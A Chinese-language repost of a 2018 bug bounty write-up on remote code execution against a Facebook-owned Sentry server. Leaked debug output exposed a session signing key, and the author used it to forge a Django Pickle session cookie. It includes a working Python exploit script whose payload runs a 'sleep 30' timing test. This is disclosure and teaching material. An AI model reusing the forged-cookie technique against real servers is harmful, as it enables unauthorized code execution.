Facebook服务器上的远程代码执行

admin 2026-04-02 04:21:22 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了一个在Facebook服务器上成功利用的远程代码执行漏洞案例。作者通过扫描发现目标服务器运行的Sentry服务存在调试模式未关闭的问题,导致异常时会泄露环境变量。其中关键的system.secret-key配置项被泄露,结合Django使用的Pickle序列化协议的危险性,攻击者得以构造恶意会话Cookie,最终实现了任意代码执行。漏洞于2018年7月30日提交,Facebook迅速响应并下线系统进行修补,作者因此获得5000美元赏金。 综合评分: 95 文章分类: 渗透测试,WEB安全,实战经验,SRC活动,漏洞分析


cover_image

Facebook 服务器上的远程代码执行

玲珑安全 玲珑安全

玲珑安全

2025年9月7日 10:09 福建

本文所述漏洞均已修复,未经授权请勿进行非法渗透测试。

原文出处:

https://blog.scrt.ch/2018/08/24/remote-code-execution-on-a-facebook-server/

前言

作为一名安全研究人员,我经常会在允许测试并设有漏洞赏金计划的大型互联网服务中挖掘潜在漏洞。本文记录的是我在 Facebook 一台服务器上发现并验证的远程代码执行漏洞,这是我的第一篇完整案例分析。

正文

在扫描 Facebook 所属的一个 IP 段(199.201.65.0/24)时,我注意到在 199.201.65.36 上运行着一个 Sentry 服务,其主机名为 sentryagreements.thefacebook.com。Sentry 是一个基于 Python、使用 Django 框架开发的日志收集 Web 应用。

在对该应用进行测试时,我发现页面会不定期抛出堆栈跟踪信息,原因不明。进一步观察发现,应用在用户密码重置功能上表现得极其不稳定,偶尔会崩溃。更严重的是,Django 的调试模式并未关闭,导致每当堆栈异常触发时,整个运行环境都会被打印出来。

虽然 Django 会对其中的敏感信息(如密码、密钥等)进行自动截断,从而避免大规模信息泄露,但依然可能暴露关键信息。

在更仔细检查堆栈信息时,我注意到以下环境变量配置值得关注:

  • SESSION_COOKIE_NAME = sentrysid
  • SESSION_SERIALIZER = django.contrib.sessions.serializers.PickleSerializer
  • SESSION_ENGINE = django.contrib.sessions.backends.signed_cookies
  • SENTRY_OPTIONS 中包含若干以列表形式存储的 Sentry 配置

其中最引人注意的是 Pickle。Pickle 是 Python 的二进制序列化协议,可对对象结构(包括类与方法)进行序列化与反序列化。其潜在的安全风险已被广泛讨论,参考资料可见:https://www.balda.ch/posts/2013/Jun/23/python-web-frameworks-pickle/

理论上,如果能够伪造一个包含恶意 Pickle 对象的会话,就可能在系统中执行任意命令。

然而,Django 在签名会话 Cookie 时会使用 SECRET_KEY,而这一密钥在堆栈信息中并未泄露。

但进一步分析发现,SENTRY_OPTIONS 列表中包含一个名为 system.secret-key 的配置项,并且未被截断。

根据 Sentry 官方文档,system.secret-key 被描述为“用于会话签名的密钥。如果该密钥泄露,必须立即重新生成,否则攻击者能够更轻易地劫持用户会话”。

换句话说,它实际上可以看作是 Django SECRET_KEY 的一种替代。

在掌握了必要条件后,我编写了一个脚本,将自定义的 payload 注入到 sentrysid cookie 中,实现了任意代码执行:

#!/usr/bin/pythonimport django.core.signing, django.contrib.sessions.serializersfrom django.http import HttpResponseimport cPickleimport osSECRET_KEY='[RETRIEVEDKEY]'# 我在尝试重置密码时获取的初始 cookiecookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'newContent = django.core.signing.loads(    cookie,    key=SECRET_KEY,    serializer=django.contrib.sessions.serializers.PickleSerializer,    salt='django.contrib.sessions.backends.signed_cookies')class PickleRce(object):    def __reduce__(self):        return (os.system,("sleep 30",))newContent['testcookie'] = PickleRce()print django.core.signing.dumps(    newContent,    key=SECRET_KEY,    serializer=django.contrib.sessions.serializers.PickleSerializer,    salt='django.contrib.sessions.backends.signed_cookies',    compress=True)

该脚本通过加载并修改原始 cookie,将其内容替换为恶意对象。也就是说,最终得到的结果是一个合法、带签名的 sentrysid Cookie,但内部已经包含恶意代码。

当目标系统对该对象进行反序列化时,会执行 os.system(“sleep 30”) 命令。

测试结果显示,在使用该恶意 cookie 后,页面加载时间确实延迟了 30 秒,成功验证了远程代码执行漏洞的存在。

整个攻击链条清晰可见: 1.堆栈信息泄露 —— 应用异常时,环境变量被完整打印。 2.敏感配置暴露 —— system.secret-key 未被截断,成为突破口。 3.Pickle 危害 —— 利用不安全的序列化协议,可构造恶意对象执行任意命令。 4.漏洞利用与验证 —— 攻击者可伪造会话 Cookie,实现远程代码执行。

Facebook 在收到报告后迅速确认了漏洞,并第一时间将相关系统下线,直至漏洞被修补。随后官方通知我补丁已完成部署。

漏洞披露时间线如下(均为 CEST 时区):

  • 2018-07-30 00:00 :提交完整漏洞细节
  • 2018-07-30 15:25 :漏洞确认,系统下线
  • 2018-08-09 18:10 :补丁上线
  • 2018-08-09 20:10 :奖励 5000 美元赏金(该服务器运行在独立 VLAN 中,并未存储用户敏感数据)

培训咨询v

linglongsec


SRC漏洞挖掘培训

玲珑安全第一期SRC漏洞挖掘培训

玲珑安全第二期SRC漏洞挖掘培训

玲珑安全第三期SRC漏洞挖掘培训

玲珑安全第四期SRC漏洞挖掘培训

玲珑安全第五期SRC漏洞挖掘培训

玲珑安全第六期SRC漏洞挖掘培训

往期文章分享

一次 2FA 绕过漏洞的发现与复测案例分析

挖掘特斯拉Model 3上价值1w美元的漏洞

入侵Chess.com并获取5000万客户记录

利用Cookie Sandwich窃取HttpOnly Cookie

记住,不要在 XSS 中使用 alert(1)

入侵全球最大的航空公司和酒店奖励平台

啊?谁把我黑了??(二)

啊?谁把我黑了??(一)

仅凭车牌号,黑客如何远程控制起亚汽车?

黑进斯巴鲁——只需车牌号,10秒接管车辆

要挂科了?那就黑一下教务处系统吧…

价值10w的Google点击劫持漏洞

玲珑安全B站公开课

https://space.bilibili.com/602205041

玲珑安全QQ群

191400300


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:玲珑安全 玲珑安全 玲珑安全《Facebook 服务器上的远程代码执行》

发现网络安全工贼一枚 网络安全文章

发现网络安全工贼一枚

文章总结: 本文仅包含公众号免责声明与标题,缺乏实质性的技术内容、结论或操作建议,正文部分完全由图片占位符构成,无法进行有效总结。 综合评分: 0 文章分类:
评论:0   参与:  0